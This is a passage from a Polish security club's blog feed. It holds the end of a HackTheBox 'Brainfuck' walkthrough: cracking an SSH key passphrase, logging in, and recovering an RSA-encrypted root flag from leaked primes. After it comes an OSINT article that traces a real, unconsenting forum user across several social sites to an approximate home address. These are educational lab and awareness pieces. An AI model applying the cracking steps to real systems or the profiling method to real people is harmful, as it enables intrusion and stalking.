&lt;/svg>&lt;/a>) i odkryć tekst jawny.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./cyberchef-vigen.png" alt="Szyfr Vigenere'a">
&lt;/figure>
&lt;h3>Łamanie hasła&lt;span class="hx:absolute hx:-mt-20" id="łamanie-hasła">&lt;/span>
&lt;a href="#%c5%82amanie-has%c5%82a" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Jeden z wpisów na forum zawiera adres URL do pliku &lt;em>id_rsa&lt;/em> będącego nowym kluczem prywatnym użytkownika &lt;code>orestis&lt;/code>. Jednak aby móc zalogować się z jego wykorzystaniem poprzez SSH, należy złamać hasło klucza (ang. &lt;em>passphrase&lt;/em>). Można użyć w tym celu programu &lt;a href="https://github.com/openwall/john"target="_blank" rel="noopener">John the Ripper&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> (np. w &lt;a href="https://github.com/TheArqsz/colab-pentest-machine"target="_blank" rel="noopener">dedykowanym środowisku przygotowanym do łamania haseł&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>)&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./john.png" alt="Łamanie hasła">
&lt;/figure>
&lt;p>Z wykorzystaniem słownika &lt;code>rockyou&lt;/code> złamano hasło - &lt;code>3poulakia!&lt;/code>&lt;/p>
&lt;p>Mając passphrase do klucza SSH, można zalogować się wykorzystując otwarty port 22.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> chmod &lt;span class="m">600&lt;/span> id_rsa
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> ssh orestis@10.10.10.17 -i id_rsa
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Enter passphrase for key &amp;#39;id_rsa&amp;#39;:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go"> * Documentation: https://help.ubuntu.com
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> * Management: https://landscape.canonical.com
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> * Support: https://ubuntu.com/advantage
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">0 packages can be updated.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0 updates are security updates.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">You have mail.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Last login: Wed May 3 19:46:00 2017 from 10.10.11.4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">orestis@brainfuck:~$
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h3>Eskalacja uprawnień&lt;span class="hx:absolute hx:-mt-20" id="eskalacja-uprawnień">&lt;/span>
&lt;a href="#eskalacja-uprawnie%c5%84" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Po zalogowaniu jako zwykły użytkownik, należy odczytać zawartość pliku &lt;code>/root/root.txt&lt;/code>. Wiąże się to najcześciej z koniecznością uzyskania uprawnień roota, lecz ta maszyna jest inna. W folderze domowym użytkownika znajduje się kilka plików. Jednym z nich jest &lt;code>encrypt.sage&lt;/code>, który jest tak naprawdę kodem w języku Python, wykonującym szyfrowanie RSA na pliku &lt;code>/root/root.txt&lt;/code>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">orestis@brainfuck:~$ ls -l
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">total 20
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">-rw------- 1 orestis orestis 619 Apr 29 2017 debug.txt
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">-rw-rw-r-- 1 orestis orestis 580 Apr 29 2017 encrypt.sage
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">drwx------ 3 orestis orestis 4096 Apr 29 2017 mail
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">-rw------- 1 orestis orestis 329 Apr 29 2017 output.txt
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">-r-------- 1 orestis orestis 33 Apr 29 2017 user.txt
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">orestis@brainfuck:~$ cat encrypt.sage
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">nbits = 1024
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">password = open(&amp;#34;/root/root.txt&amp;#34;).read().strip()
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">enc_pass = open(&amp;#34;output.txt&amp;#34;,&amp;#34;w&amp;#34;)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">debug = open(&amp;#34;debug.txt&amp;#34;,&amp;#34;w&amp;#34;)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">m = Integer(int(password.encode(&amp;#39;hex&amp;#39;),16))
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">n = p*q
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">phi = (p-1)*(q-1)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">e = ZZ.random_element(phi)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">while gcd(e, phi) != 1:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> e = ZZ.random_element(phi)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">c = pow(m, e, n)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">enc_pass.write(&amp;#39;Encrypted Password: &amp;#39;+str(c)+&amp;#39;\n&amp;#39;)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">debug.write(str(p)+&amp;#39;\n&amp;#39;)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">debug.write(str(q)+&amp;#39;\n&amp;#39;)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">debug.write(str(e)+&amp;#39;\n&amp;#39;)
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Działanie tego programu opiera się na kilku krokach:&lt;/p>
&lt;ul>
&lt;li>odczytaj plik &lt;code>/root/root.txt&lt;/code> i zakoduj jego zawartość w parametrze &lt;code>m&lt;/code>&lt;/li>
&lt;li>zaszyfruj zawartość zmiennej &lt;code>m&lt;/code> i wpisz ją do pliku &lt;code>output.txt&lt;/code>&lt;/li>
&lt;li>zapisz zmienne &lt;code>p&lt;/code>, &lt;code>q&lt;/code> i &lt;code>e&lt;/code> do pliku &lt;code>debug.txt&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Znając jednak te 3 zmienne i wartość tekstu zaszyfrowanego, możemy odtworzyć mechanizm RSA. Wykorzystany został kod stworzony przez jednego z &lt;a href="https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e"target="_blank" rel="noopener">użytkowników portalu stackoverflow&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, z drobną zmianą - dodałem wypisywanie poprawnie flagi na ekran:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python2" data-lang="python2">&lt;span class="line">&lt;span class="cl">&lt;span class="n">out&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">plain_text&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">print&lt;/span> &lt;span class="n">out&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;hex&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Tym sposobem otrzymujemy również zawartość pliku &lt;code>/root/root.txt&lt;/code> i box &lt;code>brainfuck&lt;/code> zostaje ukończony.&lt;/p></description></item><item><title>OSINT</title><link>https://whitehats.pwr.edu.pl/blog/2021-03-05-osint/</link><pubDate>Fri, 05 Mar 2021 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2021-03-05-osint/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2021-03-05-osint/google-search_hu_66d7dfd4965039e2.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Zapewne znajdą się osoby, które widząc nieznajomy numer telefonu, sprawdzają go w Google. Najczęściej już pierwszy link opowie całą historię, a my dzięki zdobytej wiedzy bez zawahania zablokujemy numer i spokojnie oddamy się reszcie dnia nie biorąc tego kredytu na 25 tys., którego o mały włos nam nie zaproponowano. W ten o to sposób przechodzimy do tematu tego artykułu - OSINT.&lt;/p>
&lt;h2>OSINT - z czym to się je&lt;span class="hx:absolute hx:-mt-20" id="osint---z-czym-to-sięje">&lt;/span>
&lt;a href="#osint---z-czym-to-si%c4%99je" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>To z czego skorzystaliśmy w poprzednim akapicie nazywane jest Open Source Intelligence, czyli tzw. biały wywiad. Jest to forma rozpoznania, polegająca na gromadzeniu informacji przy wykorzystaniu ogólnodostępnych źródeł. Google jest właśnie jednym z nich - chyba, że mieszkacie w Chinach albo w Korei Północnej, wtedy to Baidu lub Naver.
Oczywiście źródła nie ograniczają się tylko do tych online, mogą to być również np. prasa, publiczne archiwa lub zgłoszone patenty. Pamiętajmy jednak, że w dzisiejszych czasach to w internecie znajdziemy najbardziej aktualne oraz najłatwiej dostępne informacje.
Na temat technik zbierania materiałów do późniejszej analizy i wyciągnięcia z nich wniosków stworzone są całe kursy, natomiast ja w skrócie postaram się przedstawić Wam o co w tym wszystkim chodzi.&lt;/p>
&lt;p>Warto wspomnieć o trudnościach na jakie można natrafić realizując ten proces. Pierwszą z nich jest istota anonimizacji w sieci podczas wyszukiwania, tym bardziej jeśli chcemy to zrobić dyskretnie. Nie chcemy np. skorzystać z wyszukiwarki numeru telefonu, gdy jego właściciel ma włączoną usługę powiadamiania o takim fakcie - po próbie uzyskania informacji z danego serwisu spaliliśmy przykrywkę, osoba sprawdzana ma świadomość, że ktoś ją weryfikował, a my nie mamy pewności, że odkryliśmy to, czego szukaliśmy.
Kolejną z nich jest nadmiar dostępnych informacji na interesujący nas temat. Poszukiwanie informacji po różnych serwisach jest podobne do weryfikacji prawdziwości danej wiadomości (fake news). Bardzo ważną umiejętnością jest wyłuskiwanie tylko tych istotnych danych, pochodzących z zaufanych źródeł. Tylko wtedy możemy przedstawić obiektywny obraz tego, co próbujemy zbadać.&lt;/p>
&lt;h2>Ochrona naszych danych przed białym wywiadem - czy to ważne&lt;span class="hx:absolute hx:-mt-20" id="ochrona-naszych-danych-przed-białym-wywiadem---czy-to-ważne">&lt;/span>
&lt;a href="#ochrona-naszych-danych-przed-bia%c5%82ym-wywiadem---czy-to-wa%c5%bcne" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W czasach, gdzie duża część naszego życia odbywa się w sferze social media łatwo jest zapomnieć, ile tak naprawdę danych o sobie udostępniamy w Internecie. Nie chodzi mi teraz konkretnie o te dane, które portale społecznościowe zostawiają dla siebie, aby przeprowadzać czystki etniczne w krajach trzeciego świata (polecam &lt;a href="https://www.empik.com/mindf-ck-wylie-christopher,p1250496348,ebooki-i-mp3-p"target="_blank" rel="noopener">książkę&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>). Pomijam również te, którymi dzielą się z reklamodawcami, aby później wyświetlić reklamę akurat tego kremu, o którym z kimś rozmawialiśmy parę godzin wcześniej. Mam na myśli bardziej przyziemne rzeczy, które udostępniamy bez chwili zastanowienia.&lt;/p>
&lt;p>Jedną z takich rzeczy może być np. widok z naszego okna na charakterystyczny budynek po drugiej stronie ulicy albo lepiej - dobrze widoczne oznaczenie sąsiedniego bloku. Parę minut rozeznania na Google Maps i dla zainteresowanego podmiotu nasz adres jest podany na tacy z dokładnością do klatki schodowej. Od tego można już zacząć dalsze działania, te bardziej inwazyjne np. &lt;a href="https://www.ffb1.com/services-tools/security-resources/avoiding-social-engineering-attacks.html"target="_blank" rel="noopener">dumpster diving&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Oczywiście to już nie wchodzi w zakres OSINT, w tym momencie jesteśmy już po wstępnym rekonesansie, do którego posłużył biały wywiad.&lt;/p>
&lt;p>Innym dobrym przykładem, jest wyszukiwanie informacji, opierając się na numerach tablic rejestracyjnych samochodu. Poza portalami, takimi jak &lt;a href="https://tablica-rejestracyjna.pl"target="_blank" rel="noopener">ten&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, na których możemy wyrazić swoje uczucia w stosunku do kierowcy samochodu tej niemieckiej marki na trzy litery, spotkawszy się z nim na drodze, istnieją też inne. Na &lt;a href="https://www.ufg.pl/"target="_blank" rel="noopener">tej&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> stronie po wpisaniu numeru rejestracyjnego dostajemy informacje o polisie i firmie ubezpieczeniowej, powiązanymi z danym autem. Odrobina socjotechniki na uczącym się pracowniku BOK i możemy naprawdę komuś uprzykrzyć dzień, to oczywiście w bardzo dużym uproszczeniu i przy dużej dozie szczęścia.&lt;/p>
&lt;h2>OSINT w praktyce&lt;span class="hx:absolute hx:-mt-20" id="osint-w-praktyce">&lt;/span>
&lt;a href="#osint-w-praktyce" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Dla tych co wytrzymali do tego momentu jest nagroda - trochę praktyki. Zastanawiałem się jak najlepiej zaprezentować OSINT i to jeszcze w połączeniu z użyciem social media, aby pokazać, do czego może doprowadzić nadmierne dzielenie się wszystkim w Internecie. Na szczęście podczas zbierania materiału do tego artykułu natrafiłem na podręcznikowy przykład, ale niestety - wszystko co mogłoby zidentyfikować tę osobę pozostaje zakryte dla dobra jej prywatności oraz żeby przestrzegać prawa. Na podstawie zebranych informacji przedstawię proces oraz kategorie informacji, jakie udało mi się uzyskać w jego trakcie.&lt;/p>
&lt;p>W celu zwiększenia realizmu i wspierania swojego lenistwa nie tworzyłem przykładowego konta, na którym mógłbym demonstrować, więc zamiast tego operujemy na żywym organizmie. Po trzech minutach na moim ulubionym &lt;a href="http://wykop.pl/"target="_blank" rel="noopener">portalu&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> zaczynamy od nazwy użytkownika.
Szukałem czegoś co jest w swój sposób unikatowe, więc unikałem pseudonimów zawierających popularne nazwiska/postacie, ponieważ wiele różnych ludzi może mieć tego samego idola. Pomijałem też nazwy kończące się ciągiem liczbowym, gdyż nawet jeśli byłby to ten sam użytkownik mógłby używać różnych kombinacji pomiędzy portalami.
Pamiętacie jak mówiłem o podręcznikowym przykładzie? Udało mi się znaleźć wzorzec konkatenacji, składający się z pierwszej litery imienia, połączonej z pełnym nazwiskiem - można brać się do pracy.&lt;/p>
&lt;p>Jako pewien drogowskaz skorzystam ze strony &lt;a href="https://osintframework.com"target="_blank" rel="noopener">OSINT Framework&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Jest to w pewien sposób encyklopedia każdego narzędzia, które przychodzi na myśl po usłyszeniu OSINT. Jednak pomimo tak dużego wyboru nie znalazłem akurat tego, które miałem na myśli.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./osint_framework.png" alt="Zrzut ekranu strony OSINT Framework">
&lt;/figure>
&lt;p>Dalszy research poprowadzę, korzystając z narzędzia o nazwie &lt;a href="https://github.com/sherlock-project/sherlock"target="_blank" rel="noopener">Sherlock&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Jest to bardzo prosty w swoim założeniu skrypt, do którego wystarczy podać nazwę użytkownika i poczekać kilkanaście sekund, aż sprawdzi on 303 (na dzień 25.11) strony w poszukiwaniu zgodnego pseudonimu pomiędzy nimi. Wywołajmy go, wpisując nasz cel i zobaczmy wynik:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./sherlock_wynik.png" alt="Zrzut ekranu z wynikami skryptu sherlock.py">
&lt;/figure>
&lt;p>Dostajemy łącznie 18 wyników, które trzeba zweryfikować samodzielnie. Z opisu profilu na Wykop wiem, że ofiara m.in. jest miłośnikiem turystyki górskiej, co przyda nam się za chwilę. Zacznę od sprawdzenia profilu na stronie Gravatar, która umożliwia korzystanie z tego samego awatara pomiędzy różnymi portalami, implementującymi tę usługę.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./gravatar.png" alt="Zrzut ekranu profilu Gravatar">
&lt;/figure>
&lt;p>Teraz mamy pewność, że jest to ta sama osoba (mówiłem, że tamta informacja się przyda), a dodatkowo zyskujemy dodatkowy trop, który na pewno nam się przyda. Niestety nie mogę Wam tego pokazać. To co? Może teraz Facebook.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./facebook.png" alt="Zrzut ekranu profilu na Facebook">
&lt;/figure>
&lt;p>Na publicznym profilu widzę m.in. całą historię zatrudnienia naszej ofiary i ścieżkę edukacji, czyli w sumie bez większego zaskoczenia.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./couchsurfing.png" alt="Zrzut ekranu profilu na Couchsurfing">
&lt;/figure>
&lt;p>Tutaj natomiast dowiadujemy się jakiego jest pochodzenia oraz ile ma lat. Mogliśmy się tego dowiedzieć wcześniej, ale nie udostępnił tej informacji na profilu Facebook.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./strava.png" alt="Zrzut ekranu profilu Strava">
&lt;/figure>
&lt;p>Tutaj musiałem się trochę postarać, gdyż Strava nie pokazała mi całego profilu gdy byłem niezarejestrowany - no to założyłem konto. Poza kilkoma dodatkowymi zdjęciami, udało mi się dotrzeć do tego treningu (sprzed kilkunastu dni), gdzie z dużym prawdopodobieństwem możemy określić adres zamieszkania. Niestety - nie z dokładnością co do klatki schodowej, ale co do dwóch bloków na osiedlu w pewnym mieście na Śląsku, którego Wam nie zdradzę. Gdyby nasza ofiara mieszkała w okolicy domów jednorodzinnych sprawa byłaby o wiele prostsza.&lt;/p>
&lt;p>Podsumowując, kategorie informacji, jakie na start udało mi się zebrać, bazując tylko na nazwie użytkownika, to:&lt;/p>
&lt;ul>
&lt;li>Imię i nazwisko&lt;/li>
&lt;li>Wiek&lt;/li>
&lt;li>Stan cywilny&lt;/li>
&lt;li>Dane partnera&lt;/li>
&lt;li>Aktualne i przeszłe zajmowane stanowiska&lt;/li>
&lt;li>Wykształcenie&lt;/li>
&lt;li>Hobby i koła pasjonatów&lt;/li>
&lt;li>Przybliżony adres zamieszkania&lt;/li>
&lt;li>Tablice rejestracyjne samochodu&lt;/li>
&lt;/ul>
